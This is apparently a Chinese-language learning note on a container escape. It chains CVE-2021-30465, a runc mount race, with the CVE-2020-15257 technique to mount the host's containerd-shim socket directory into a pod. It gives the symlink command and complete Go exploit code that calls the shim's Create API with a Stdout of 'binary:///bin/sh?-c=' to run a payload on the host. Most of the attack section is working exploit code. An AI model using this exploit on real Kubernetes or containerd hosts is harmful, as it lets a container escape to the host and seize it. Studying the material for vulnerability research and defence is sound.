在之前CVE-2020-15257的学习中提到了该漏洞的修复方式是把原本的抽象socket替换成文件socket,这样这些socket就能够收到mount namespace的隔离。而利用CVE-2021-30465可以挂载宿主中的任意目录到容器中,也就是说利用该漏洞,可以把containerd-shim socket所在的目录挂载到容器中,从而实现在容器中访问这些socket并实现逃逸。
前置阅读:
CVE-2020-15257学习
CVE-2021-30465学习
首先,跟CVE-2021-30465的复现步骤一样,创建一个pod。下一个创建符号链接的步骤有一个不同的地方,之前的复现步骤里是指向宿主根目录,这里我直接指向的是containerd-shim socket所在的目录(当然像之前那样指向根目录也能够访问到这些socket)。
ln -s /run/containerd/s/ /test2/test2
后面的步骤也差不多,利用条件竞争将/run/containerd/s/目录挂载到容器的/test1/zzz/上。
进入成功挂载目录的容器里,使用跟CVE-2020-15257类似的方式向其中任一socket发起请求。需要注意的是,在这里的环境中,containerd默认用的是v2的shim(之前的复现中用的是v1),使用起来有点区别:
package main import ( "context" "net" "github.com/containerd/ttrpc" shimapi "github.com/containerd/containerd/runtime/v2/task" ) func main() { sock := "/test1/zzz/2665e78a394db764567c4690a5af0718ae0e0dc7292756ee8771295f69f4c7c7" container_id := "f88a70eec15af27dbe668a5df963942b0d2fa6486209fab139e8278e6602f697" fs := "/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/157/fs/" conn, _ := net.Dial("unix", sock) client := ttrpc.NewClient(conn) shimClient := shimapi.NewTaskClient(client) ctx := context.Background() md := ttrpc.MD{} md.Set("containerd-namespace-ttrpc", "notmoby") ctx = ttrpc.WithMetadata(ctx, md) shimClient.Create(ctx, &shimapi.CreateTaskRequest{ ID: container_id, Bundle: "/run/k3s/containerd/io.containerd.runtime.v2.task/k8s.io/" + container_id, Stdout: "binary:///bin/sh?-c="+fs+"shell", }) }